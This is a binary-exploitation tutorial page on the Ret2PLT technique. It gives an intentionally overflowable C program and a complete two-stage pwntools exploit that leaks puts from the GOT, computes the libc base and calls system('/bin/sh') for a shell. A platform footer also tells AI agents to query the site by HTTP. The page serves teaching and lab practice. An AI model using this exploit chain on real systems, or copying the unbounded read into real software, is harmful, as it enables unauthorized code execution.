> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/08.-ret2plt.md).

# 0x0C — Return to PLT (Ret2PLT)

## Overview

**Ret2PLT** is a technique where instead of jumping directly to a libc function (which requires knowing libc's base address), you jump to its **PLT stub** inside the binary. Since PLT addresses are fixed in non-PIE binaries, this works **regardless of ASLR**.

Ret2PLT is most commonly used to **leak libc addresses** as part of a two-stage exploit.

***

## Why PLT and Not GOT?

| Target     | What it is                         | Callable? |
| ---------- | ---------------------------------- | --------- |
| `puts@got` | A pointer (data, holds an address) | ❌ No      |
| `puts@plt` | Code (a jump stub)                 | ✅ Yes     |

You **call** PLT entries. You **read/write** GOT entries.

***

## How Ret2PLT Works

1. Find a buffer overflow to control the return address.
2. Build a ROP chain that:
   * Sets up arguments (e.g., `rdi = puts@got` to leak the address)
   * Calls `puts@plt`
   * Returns to `main` so you get a second shot
3. Parse the leaked 8-byte address from the output.
4. Compute libc base and build the real payload.

***

## Tools Needed

```bash
# Find ROP gadgets
ROPgadget --binary ./vuln

# OR
ropper -f ./vuln
```

In pwntools:

```python
elf  = ELF('./vuln')
elf.plt['puts']   # PLT address of puts
elf.got['puts']   # GOT entry address of puts
elf.sym['main']   # address of main()
```

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln() {
    char buf[64];
    puts("Give me input:");
    read(0, buf, 256);
}

int main() {
    vuln();
    return 0;
}
```

Compile without PIE, without stack protector, with NX on:

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
checksec --file=./vuln
# NX: enabled, PIE: disabled, RELRO: partial
```

***

## Finding the Offset

```bash
python3 -c "import cyclic; print(cyclic.cyclic(150))"
# or in pwntools:
```

```python
from pwn import *
payload = cyclic(150)
# crash and find offset from core dump / pwndbg
# cyclic_find(0x6161616c)  → offset = 72
```

Or with GDB + pwndbg:

```
gdb ./vuln
run <<< $(python3 -c "from pwn import *; print(cyclic(150))")
# After crash:
cyclic_find($rsp - 8)
```

***

## Stage 1: Leak libc with Ret2PLT

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

offset  = 72
pop_rdi = 0x4011d3   # gadget: pop rdi ; ret
ret     = 0x40101a   # gadget: ret (for stack alignment)

# Call puts(puts@got) — leak the runtime address of puts
payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])  # argument: address of GOT entry
payload += p64(elf.plt['puts'])  # call: puts@PLT
payload += p64(elf.sym['main'])  # return to main for stage 2

p.sendafter(b'Give me input:\n', payload)

# Receive and parse the 8-byte leak
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts: {hex(leaked_puts)}")

libc_base   = leaked_puts - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))

log.success(f"libc base:  {hex(libc_base)}")
log.success(f"system():   {hex(system_addr)}")
log.success(f"/bin/sh:    {hex(binsh_addr)}")
```

***

## Stage 2: Get Shell

```python
# Now call system("/bin/sh")
payload2  = b'A' * offset
payload2 += p64(ret)           # align stack to 16 bytes (required by system())
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendafter(b'Give me input:\n', payload2)
p.interactive()
```

***

## Complete Exploit Script

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

offset  = 72
pop_rdi = 0x4011d3
ret     = 0x40101a

## Stage 1: Leak ##
payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
p.sendafter(b'Give me input:\n', payload)

leak      = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base @ {hex(libc.address)}")

## Stage 2: Shell ##
payload2  = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
payload2 += p64(libc.sym['system'])
p.sendafter(b'Give me input:\n', payload2)

p.interactive()
```

***

## Leaking Other Functions

You can leak any function whose GOT entry has been resolved (i.e., called at least once):

```python
# Leak printf instead of puts
payload += p64(pop_rdi)
payload += p64(elf.got['printf'])
payload += p64(elf.plt['puts'])   # still using puts to print it
payload += p64(elf.sym['main'])
```

***

## Stack Alignment Note

On 64-bit systems, `system()` requires the stack to be **16-byte aligned** when called. If you crash inside `system()` at a `movaps` instruction, add an extra `ret` gadget before `system_addr`.

```python
payload += p64(ret)          # fixes alignment
payload += p64(system_addr)
```

***

## Key Takeaways

* Ret2PLT calls a function via its **fixed PLT stub**, bypassing ASLR
* Use it to **leak a libc address**, then compute all others
* Always return to `main` after the leak for a second ROP stage
* Remember: stack must be 16-byte aligned before `system()`

***

## Checklist Before Running

* [ ] Correct offset to return address
* [ ] Valid `pop rdi ; ret` gadget address
* [ ] Correct `ret` gadget for alignment
* [ ] Right libc version (check with `ldd ./vuln`)
* [ ] GOT entry is already resolved (function was called before)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/08.-ret2plt.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
